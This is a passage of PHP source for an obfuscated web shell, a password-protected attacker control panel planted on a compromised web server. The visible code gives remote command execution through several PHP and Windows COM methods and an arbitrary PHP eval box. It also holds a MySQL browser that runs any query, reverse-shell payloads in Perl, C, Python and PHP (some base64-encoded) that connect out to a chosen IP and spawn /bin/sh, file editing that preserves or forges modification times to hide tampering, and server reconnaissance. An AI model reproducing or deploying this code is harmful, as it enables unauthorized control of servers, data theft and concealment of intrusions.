Manager'));makehide('action','mysqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$cc));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$gg));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dd));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$ee));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$o,'selected'=>$p,'nokey'=>1));makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));p('</p>');formfoot();?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?php
 formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mysqladmin');makehide('base64');makehide('tablename');p($ttttt);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mysqladmin');p($ttttt);if(!$ff){makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mysqladmin');p($ttttt);makehide('tablename');makehide('page',$ooo);makehide('doing');formfoot();$aaaaaa=array();$bbbbbb=30;$ooo=intval($ooo);if($ooo){$cccccc=($ooo-1)*$bbbbbb;}else{$cccccc=0;$ooo=1;}if(isset($cc)&&isset($dd)&&isset($ee)&&isset($hh)){$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);$dddddd=mysqli_get_server_info($cccc);p('<p>MySQL '.$dddddd.' running in '.$cc.' as '.$dd.'@'.$cc.'</p>');$eeeeee=$dddddd>'4.1'?1:0;$ffffff=q($cccc,"SHOW DATABASES");$gggggg=array();$gggggg[]='-- Select a database --';while($hhhhhh=mysqli_fetch_array($ffffff)){$gggggg[$hhhhhh['Database']]=$hhhhhh['Database'];}makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$gggggg,'selected'=>$ff,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$iiiiii=array();if($ff){p('<p>');p('Current dababase: <a href="javascript:moddbname(\''.$ff.'\');">'.$ff.'</a>');if($nnn){p(' | Current Table: <a href="javascript:settable(\''.$nnn.'\');">'.$nnn.'</a> [ <a href="javascript:settable(\''.$nnn.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$nnn.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$nnn.'\', \'drop\');">Drop</a> ]');}p('</p>');mysqli_select_db($cccc,$ff);$jjjjjj='';$kkkkkk=0;if($ppp){$kkkkkk=1;}$llllll=0;if($nnn&&!$ppp){$ppp="SELECT * FROM $nnn";$jjjjjj=$ppp;$ppp=$ppp." LIMIT $cccccc, $bbbbbb";$llllll=1;}p('<form action="'.$q.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$ff.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($ppp,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');makehide('tablename',$nnn);makehide('action','mysqladmin');p($ttttt);p('</form>');if($nnn||($kkkkkk&&$ppp)){if($w=='structure'){$dddd=q($cccc,"SHOW COLUMNS FROM $nnn");$mmmmmm=array();while($hhhh=mysqli_fetch_array($dddd)){$mmmmmm[]=$hhhh;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Null</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach($mmmmmm as $hhhh){$ppppp=bg();p('<tr class="'.$ppppp.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$ppppp.'\';">');p('<td>'.$hhhh['Field'].'</td>');p('<td>'.$hhhh['Type'].'</td>');p('<td>'.$hhhh['Null'].'&nbsp;</td>');p('<td>'.$hhhh['Key'].'&nbsp;</td>');p('<td>'.$hhhh['Default'].'&nbsp;</td>');p('<td>'.$hhhh['Extra'].'&nbsp;</td>');p('</tr>');}tbfoot();}elseif($w=='insert'||$w=='edit'){$dddd=q($cccc,'SHOW COLUMNS FROM '.$nnn);while($hhhh=mysqli_fetch_array($dddd)){$mmmmmm[]=$hhhh;}$nnnnnn=array();if($w=='insert'){p('<h2>Insert new line in '.$nnn.' table &raquo;</h2>');}else{p('<h2>Update record in '.$nnn.' table &raquo;</h2>');$yyyyy=base64_decode($mmm);$dddd=q($cccc,"SELECT * FROM $nnn WHERE $yyyyy LIMIT 1");$nnnnnn=mysqli_fetch_array($dddd);}p('<form method="post" action="'.$q.'">');p($ttttt);makehide('action','mysqladmin');makehide('tablename',$nnn);p('<table border="0" cellpadding="3" cellspacing="0">');foreach($mmmmmm as $hhhh){if($nnnnnn[$hhhh['Field']]){$b=htmlspecialchars($nnnnnn[$hhhh['Field']]);}else{$b='';}$ppppp=bg();p('<tr class="'.$ppppp.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$ppppp.'\';">');if($hhhh['Key']=='UNI'||$hhhh['Extra']=='auto_increment'||$hhhh['Key']=='PRI'){p('<td><b>'.$hhhh['Field'].'</b><br />'.$hhhh['Type'].'</td><td>'.$b.'&nbsp;</td></tr>');}else{p('<td><b>'.$hhhh['Field'].'</b><br />'.$hhhh['Type'].'</td><td><textarea class="area" name="insertsql['.$hhhh['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$b.'</textarea></td></tr>');}}if($w=='insert'){p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');}else{p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');makehide('base64',$mmm);}p('</table></form>');}else{$oooooo=@explode(";\n",$ppp);$oooooo=@explode(";\r",$ppp);foreach($oooooo as $pppppp=>$ffffff){if($ffffff){p("<p><b>Query#{$pppppp} : ".htmlspecialchars($ffffff,ENT_QUOTES)."</b></p>");switch(qy($cccc,$ffffff)){case 0:p('<h2>Error : '.mysqli_error($cccc).'</h2>');break;case 1:if(strtolower(substr($ffffff,0,13))=='select * from'){$llllll=1;}if($jjjjjj){$qqqqqq=mysqli_num_rows(q($cccc,$jjjjjj));$rrrrrr=multi($qqqqqq,$bbbbbb,$ooo,$nnn);}if(!$nnn){$ssssss=str_replace(array("\r","\n","\t"),array(' ',' ',' '),trim(htmlspecialchars($ffffff)));$ssssss=preg_replace("/\/\*[^(\*\/)]*\*\//i"," ",$ssssss);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$ssssss,$tttttt);$nnn=$tttttt[1][0];}$uuuuuu=q($cccc,"SHOW COLUMNS FROM $nnn");$mmmmmm=array();$vvvvvv='';while($hhhh=@mysqli_fetch_assoc($uuuuuu)){$mmmmmm[$hhhh['Field']]['Key']=$hhhh['Key'];$mmmmmm[$hhhh['Field']]['Extra']=$hhhh['Extra'];if($hhhh['Key']=='UNI'||$hhhh['Key']=='PRI'){$vvvvvv=$hhhh['Field'];}}if(strtolower(substr($ffffff,0,13))=='select * from'){$ffffff=str_replace(" LIMIT "," order by $vvvvvv DESC LIMIT ",$ffffff);}$dddd=q($cccc,$ffffff);p($rrrrrr);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if($llllll)p('<td>Action</td>');$wwwwww=@mysqli_num_fields($dddd);for($xxxxxx=0;$xxxxxx<$wwwwww;$xxxxxx++){$yyyyyy=@mysqli_fetch_field_direct($dddd,$xxxxxx);$zzzzzz=$yyyyyy->name;$aaaaaaa=$yyyyyy->type;$bbbbbbb=$yyyyyy->len;p("<td nowrap>$zzzzzz<br><span>$aaaaaaa($bbbbbbb)".(($mmmmmm[$zzzzzz]['Key']=='UNI'||$mmmmmm[$zzzzzz]['Key']=='PRI')?'<b> - PRIMARY</b>':'').($mmmmmm[$zzzzzz]['Extra']=='auto_increment'?'<b> - Auto</b>':'')."</span></td>");}p('</tr>');while($ccccccc=@mysqli_fetch_assoc($dddd)){$ppppp=bg();p('<tr class="'.$ppppp.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$ppppp.'\';">');$yyyyy=$wwwww=$ddddddd='';foreach($ccccccc as $mmmmm=>$eeeeeee){if($eeeeeee){if($mmmmmm[$mmmmm]['Key']=='UNI'||$mmmmmm[$mmmmm]['Extra']=='auto_increment'||$mmmmmm[$mmmmm]['Key']=='PRI'){$yyyyy=$mmmmm."='".addslashes($eeeeeee)."'";break;}$yyyyy.=$wwwww.$mmmmm."='".addslashes($eeeeeee)."'";$wwwww=' AND ';}}foreach($ccccccc as $mmmmm=>$eeeeeee){$ddddddd.='<td nowrap>'.html_clean($eeeeeee).'&nbsp;</td>';}$yyyyy=base64_encode($yyyyy);if($llllll)p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$yyyyy.'\', \''.$nnn.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$yyyyy.'\', \''.$nnn.'\');">Del</a></td>');p($ddddddd);p('</tr>');unset($ddddddd);}tbfoot();p($rrrrrr);break;case 2:$fffffff=mysqli_affected_rows($cccc);p('<h2>affected rows : <b>'.$fffffff.'</b></h2>');break;}}}}}else{$ffffff=q($cccc,"SHOW TABLE STATUS");$ggggggg=$hhhhhhh=$iiiiiii=0;$iiiiii=array();while($bb=mysqli_fetch_array($ffffff)){$iiiiiii=$iiiiiii+$bb['Data_length'];$hhhhhhh=$hhhhhhh+$bb['Rows'];$bb['Data_length']=sizecount($bb['Data_length']);$ggggggg++;$iiiiii[]=$bb;}$iiiiiii=sizecount($iiiiiii);unset($bb);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$q.'" method="POST">');makehide('action','mysqladmin');p($ttttt);p('<tr class="head">');p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');p('<td>Name</td>');p('<td>Rows</td>');p('<td>Data_length</td>');p('<td>Create_time</td>');p('<td>Update_time</td>');if($eeeeee){p('<td>Engine</td>');p('<td>Collation</td>');}p('<td>Operate</td>');p('</tr>');foreach($iiiiii as $mmmmm=>$bb){$ppppp=bg();p('<tr class="'.$ppppp.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$ppppp.'\';">');p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$bb['Name'].'" /></td>');p('<td><a href="javascript:settable(\''.$bb['Name'].'\');">'.$bb['Name'].'</a></td>');p('<td>'.$bb['Rows'].'</td>');p('<td>'.$bb['Data_length'].'</td>');p('<td>'.$bb['Create_time'].'&nbsp;</td>');p('<td>'.$bb['Update_time'].'&nbsp;</td>');if($eeeeee){p('<td>'.$bb['Engine'].'</td>');p('<td>'.$bb['Collation'].'</td>');}p('<td><a href="javascript:settable(\''.$bb['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$bb['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$bb['Name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td>&nbsp;</td>');p('<td>Total tables: '.$ggggggg.'</td>');p('<td>'.$hhhhhhh.'</td>');p('<td>'.$iiiiiii.'</td>');p('<td colspan="'.($eeeeee?5:3).'">&nbsp;</td>');p('</tr>');p("<tr class=\"".bg()."\"><td colspan=\"".($eeeeee?9:7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");makehide('doing','backupmysql');formfoot();p("</table>");fr($ffffff);}}}tbfoot();@mysqli_close($cccc);}elseif($u=='backconnect'){!$qqq&&$qqq=$_SERVER['REMOTE_ADDR'];!$rrr&&$rrr='12345';$jjjjjjj=array('perl'=>'perl','c'=>'c','python'=>'python','php'=>'php');$kkkkkkk="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$lllllll="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC"."BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb"."SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd"."KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ"."sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"."Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"."QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp"."Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";if($sss&&$qqq&&$rrr&&$ttt){if($ttt=='perl'){$mmmmmmm='use Socket;$i="'.$qqq.'";$p='.$rrr.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';$nnnnnnn=execute(which('perl')." -e '$mmmmmmm' &");}else if($ttt=='c'){cf('/tmp/angel_bc.c',$lllllll);$nnnnnnn=execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');@unlink('/tmp/angel_bc.c');$nnnnnnn=execute("/tmp/angel_bc $qqq $rrr &");}else if($ttt=='python'){$ooooooo='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$qqq.'",'.$rrr.'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';$nnnnnnn=execute(which('python')." -c '$ooooooo' &");}else if($ttt=='php'){$ppppppp='$sock=fsockopen("'.$qqq.'",'.$rrr.');exec("/bin/sh -i <&3 >&3 2>&3");';$nnnnnnn=execute(which('php')." -r '$ppppppp' &");}m("Now script try connect to $qqq port $rrr ...");}formhead(array('title'=>'Back Connect'));makehide('action','backconnect');p('<p>');p('Your IP:');makeinput(array('name'=>'yourip','size'=>20,'value'=>$qqq));p('Your Port:');makeinput(array('name'=>'yourport','size'=>15,'value'=>$rrr));p('Use:');makeselect(array('name'=>'use','option'=>$jjjjjjj,'selected'=>$ttt));makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));p('</p>');formfoot();}elseif($u=='eval'){$uuu=trim($uuu);if($uuu){if(!preg_match('#<\?#si',$uuu)){$uuu="<?php\n\n{$uuu}\n\n?>";}eval("?".">$uuu<?");}formhead(array('title'=>'Eval PHP Code'));makehide('action','eval');maketext(array('title'=>'PHP Code','name'=>'phpcode','value'=>$uuu));p('<p><a href="http://www.ghm.net/hgmshell/plugin/" target="_blank">Get plugins</a></p>');formfooter();}elseif($u=='editfile'){if(file_exists($vvv)){$mmmm=@fopen($vvv,'r');$sssss=@fread($mmmm,filesize($vvv));@fclose($mmmm);$sssss=htmlspecialchars($sssss);}formhead(array('title'=>'Create / Edit File'));makehide('action','file');makehide('dir',$iiii);makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$vvv,'newline'=>0));maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$sssss));makeinput(array('title'=>'is keep original mtime?','name'=>'iskeepmtime','value'=>'true','newline'=>0,'type'=>'checkbox','checked'=>'checked'));formfooter();goback();}elseif($u=='newtime'){$qqqqqqq=@filemtime($vvv);$rrrrrrr=array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);formhead(array('title'=>'Clone file was last modified time'));makehide('action','file');makehide('dir',$iiii);makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$vvv,'size'=>120,'newline'=>1));makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','value'=>substr($vvv,0,strrpos($vvv,"/")+1),'size'=>120,'newline'=>1));formfooter();formhead(array('title'=>'Set last modified'));makehide('action','file');makehide('dir',$iiii);makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$vvv,'size'=>120,'newline'=>1));p('<p>Instead &raquo;');p('year:');makeinput(array('name'=>'year','value'=>date('Y',$qqqqqqq),'size'=>4));p('month:');makeinput(array('name'=>'month','value'=>date('m',$qqqqqqq),'size'=>2));p('day:');makeinput(array('name'=>'day','value'=>date('d',$qqqqqqq),'size'=>2));p('hour:');makeinput(array('name'=>'hour','value'=>date('H',$qqqqqqq),'size'=>2));p('minute:');makeinput(array('name'=>'minute','value'=>date('i',$qqqqqqq),'size'=>2));p('second:');makeinput(array('name'=>'second','value'=>date('s',$qqqqqqq),'size'=>2));p('</p>');formfooter();goback();}elseif($u=='shell'){if(IS_WIN&&IS_COM){if($xxx&&$www){$sssssss=new COM('Shell.Application');$ttttttt=$sssssss->ShellExecute($xxx,$www);m('Program run has '.(!$ttttttt?'success':'fail'));}!$xxx&&$xxx='c:\windows\system32\cmd.exe';!$www&&$www='/c net start > '.SA_ROOT.'log.txt';formhead(array('title'=>'Execute Program'));makehide('action','shell');makeinput(array('title'=>'Program','name'=>'program','value'=>$xxx,'newline'=>1));p('<p>');makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$www));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));p('</p>');formfoot();}formhead(array('title'=>'Execute Command'));makehide('action','shell');if(IS_WIN&&IS_COM){$uuuuuuu=array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$uuuuuuu,'selected'=>$zzz,'newline'=>1));}p('<p>');makeinput(array('title'=>'Command','name'=>'command','value'=>$yyy));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));p('</p>');formfoot();if($yyy){p('<hr width="100%" noshade /><pre>');if($zzz=='wscript'&&IS_WIN&&IS_COM){$vvvvvvv=new COM('WScript.shell');$wwwwwww=$vvvvvvv->exec('cmd.exe /c '.$yyy);$xxxxxxx=$wwwwwww->StdOut();$yyyyyyy=$xxxxxxx->ReadAll();echo $yyyyyyy;}elseif($zzz=='proc_open'&&IS_WIN&&IS_COM){$zzzzzzz=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$aaaaaaaa=proc_open($_SERVER['COMSPEC'],$zzzzzzz,$bbbbbbbb);if(is_resource($aaaaaaaa)){fwrite($bbbbbbbb[0],$yyy."\r\n");fwrite($bbbbbbbb[0],"exit\r\n");fclose($bbbbbbbb[0]);while(!feof($bbbbbbbb[1])){echo fgets($bbbbbbbb[1],1024);}fclose($bbbbbbbb[1]);while(!feof($bbbbbbbb[2])){echo fgets($bbbbbbbb[2],1024);}fclose($bbbbbbbb[2]);proc_close($aaaaaaaa);}}else{echo(execute($yyy));}p('</pre>');}}elseif($u=='phpenv'){$cccccccc=getcfg('file_uploads')?getcfg('upload_max_filesize'):'Not allowed';$dddddddd=isset($_SERVER['SERVER_ADMIN'])?$_SERVER['SERVER_ADMIN']:getcfg('sendmail_from');!$g&&$g='No';$eeeeeeee=array(1=>array('Server Time',date('Y/m/d h:i:s',$r)),2=>array('Server Domain',$_SERVER['SERVER_NAME']),3=>array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),4=>array('Server OS',PHP_OS),5=>array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),6=>array('Server Software',$_SERVER['SERVER_SOFTWARE']),7=>array('Server Web Port',$_SERVER['SERVER_PORT']),8=>array('PHP run mode',strtoupper(php_sapi_name())),9=>array('The file path',__FILE__),10=>array('PHP Version',PHP_VERSION),11=>array('PHPINFO',(IS_PHPINFO?'<a href="javascript:goaction(\'phpinfo\');">Yes</a>':'No')),12=>array('Safe Mode',getcfg('safe_mode')),13=>array('Administrator',$dddddddd),14=>array('allow_url_fopen',getcfg('allow_url_fopen')),15=>array('enable_dl',getcfg('enable_dl')),16=>array('display_errors',getcfg('display_errors')),17=>array('register_globals',getcfg('register_globals')),18=>array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),19=>array('memory_limit',getcfg('memory_limit')),20=>array('post_max_size',getcfg('post_max_size')),21=>array('upload_max_filesize',$cccccccc),22=>array('max_execution_time',getcfg('max_execution_time').' second(s)'),23=>array('disable_functions',$g),);if($aaaa){m($aaaa.' : '.getcfg($aaaa));}formhead(array('title'=>'Server environment'));makehide('action','phpenv');makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$aaaa,'newline'=>1));formfooter();$ffffffff=array(0=>'Server',1=>'PHP');for($ttttttt=0;$ttttttt<2;$ttttttt++){p('<h2>'.$ffffffff[$ttttttt].' &raquo;</h2>');p('<ul class="info">');if($ttttttt==0){for($xxxxxx=1;$xxxxxx<=9;$xxxxxx++){p('<li><u>'.$eeeeeeee[$xxxxxx][0].':</u>'.$eeeeeeee[$xxxxxx][1].'</li>');}}elseif($ttttttt==1){for($xxxxxx=10;$xxxxxx<=23;$xxxxxx++){p('<li><u>'.$eeeeeeee[$xxxxxx][0].':</u>'.$eeeeeeee[$xxxxxx][1].'</li>');}}p('</ul>');}}else{m('Undefined Action');}?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	Copyright (C) 2014 <a href="https://www.google.com/?gws_rd=ssl#newwindow=1&q=sd+fun+aki" target="_blank">sd fun aki</a> All Rights Reserved.
</div>
</body>
</html>

<?php
 function m($nnnn){echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';echo $nnnn;echo '</div>';}function scookie($mmmmm,$b,$gggggggg=0,$hhhhhhhh=1){global $n,$r,$_SERVER;$mmmmm=($hhhhhhhh?$n['cookiepre']:'').$mmmmm;$gggggggg=$gggggggg?$gggggggg:$n['cookielife'];$iiiiiiii=$_SERVER['SERVER_PORT']==443?1:0;setcookie($mmmmm,$b,$r+$gggggggg,$n['cookiepath'],$n['cookiedomain'],$iiiiiiii);}function multi($pppppp,$jjjjjjjj,$kkkkkkkk,$nnn){$rrrrrr='';if($pppppp>$jjjjjjjj){$ooo=10;$llllllll=5;$mmmmmmmm=@ceil($pppppp/$jjjjjjjj);if($ooo>$mmmmmmmm){$nnnnnnnn=1;$oooooooo=$mmmmmmmm;}else{$nnnnnnnn=$kkkkkkkk-$llllllll;$oooooooo=$kkkkkkkk+$ooo-$llllllll-1;if($nnnnnnnn<1){$oooooooo=$kkkkkkkk+1-$nnnnnnnn;$nnnnnnnn=1;if(($oooooooo-$nnnnnnnn)<$ooo&&($oooooooo-$nnnnnnnn)<$mmmmmmmm){$oooooooo=$ooo;}}elseif($oooooooo>$mmmmmmmm){$nnnnnnnn=$kkkkkkkk-$mmmmmmmm+$oooooooo;$oooooooo=$mmmmmmmm;if(($oooooooo-$nnnnnnnn)<$ooo&&($oooooooo-$nnnnnnnn)<$mmmmmmmm){$nnnnnnnn=$mmmmmmmm-$ooo+1;}}}$rrrrrr=($kkkkkkkk-$llllllll>1&&$mmmmmmmm>$ooo?'<a href="javascript:settable(\''.$nnn.'\', \'\', 1);">First</a> ':'').($kkkkkkkk>1?'<a href="javascript:settable(\''.$nnn.'\', \'\', '.($kkkkkkkk-1).');">Prev</a> ':'');for($xxxxxx=$nnnnnnnn;$xxxxxx<=$oooooooo;$xxxxxx++){$rrrrrr.=$xxxxxx==$kkkkkkkk?$xxxxxx.' ':'<a href="javascript:settable(\''.$nnn.'\', \'\', '.$xxxxxx.');">['.$xxxxxx.']</a> ';}$rrrrrr.=($kkkkkkkk<$mmmmmmmm?'<a href="javascript:settable(\''.$nnn.'\', \'\', '.($kkkkkkkk+1).');">Next</a>':'').($oooooooo<$mmmmmmmm?' <a href="javascript:settable(\''.$nnn.'\', \'\', '.$mmmmmmmm.');">Last</a>':'');$rrrrrr=$rrrrrr?'<p>Pages: '.$rrrrrr.'</p>':'';}return $rrrrrr;}function loginpage(){?>
	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<form method="POST" action="<?php echo $q;?>" style="margin:20px auto;width:500px;text-align:center">
	<span style="font:15px">PWD: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">
	<input style='display:none;' type="submit" value="Login">
	</form>
<?php
 exit;}function execute($pppppppp){$nnnnnnn='';if($pppppppp){if(function_exists('passthru')){$nnnnnnn=@passthru($pppppppp);}elseif(function_exists('shell_exec')){$nnnnnnn=@shell_exec($pppppppp);}elseif(function_exists('system')){@ob_start();@system($pppppppp);$nnnnnnn=@ob_get_contents();@ob_end_clean();}elseif(function_exists('exec')){@exec($pppppppp,$nnnnnnn);$nnnnnnn=join("\n",$nnnnnnn);}elseif(@is_resource($qqqqqqqq=@popen($pppppppp,"r"))){$nnnnnnn='';while(!@feof($qqqqqqqq)){$nnnnnnn.=@fread($qqqqqqqq,1024);}@pclose($qqqqqqqq);}}return $nnnnnnn;}function which($rrrrrrrr){$iii=execute("which $rrrrrrrr");return($iii?$iii:$rrrrrrrr);}function cf($ssssssss,$tttttttt){if($mmmm=@fopen($ssssssss,'w')){@fputs($mmmm,base64_decode($tttttttt));@fclose($mmmm);}}function dirsize($y){$uuuuuuuu=@opendir($y);$vvvvvvvv=0;while($iiiii=@readdir($uuuuuuuu)){if($iiiii!='.'&&$iiiii!='..'){$iii=$y.'/'.$iiiii;if(@is_dir($iii)){$vvvvvvvv+=dirsize($iii);}else{$vvvvvvvv+=@filesize($iii);}}}@closedir($uuuuuuuu);return $vvvvvvvv;}function debuginfo(){global $e;$d=explode(' ',microtime());$wwwwwwww=number_format(($d[1]+$d[0]-$e),6);echo 'Processed in '.$wwwwwwww.' second(s)';}function mydbconn($cc,$dd,$ee,$ff='',$p='',$gg='3306'){global $o;if(!$cccc=@mysqli_connect($cc,$dd,$ee,$ff,$gg)){p('<h2>Can not connect to MySQL server</h2>');exit;}if($cccc&&$ff){if(!@mysqli_select_db($cccc,$ff)){p('<h2>Database selected has error</h2>');exit;}}if($cccc&&mysqli_get_server_info($cccc)>'4.1'){if(in_array(strtolower($p),$o)){q($cccc,"SET character_set_connection=$p, character_set_results=$p, character_set_client=binary;",$cccc);}}return $cccc;}function s_array(&$xxxxxxxx){if(is_array($xxxxxxxx)){foreach($xxxxxxxx as $yyyyyyyy=>$zzzzzzzz){$xxxxxxxx[$yyyyyyyy]=s_array($zzzzzzzz);}}else if(is_string($xxxxxxxx)){$xxxxxxxx=stripslashes($xxxxxxxx);}return $xxxxxxxx;}function html_clean($aaaaaaaaa){$aaaaaaaaa=htmlspecialchars($aaaaaaaaa);$aaaaaaaaa=str_replace("\n","<br 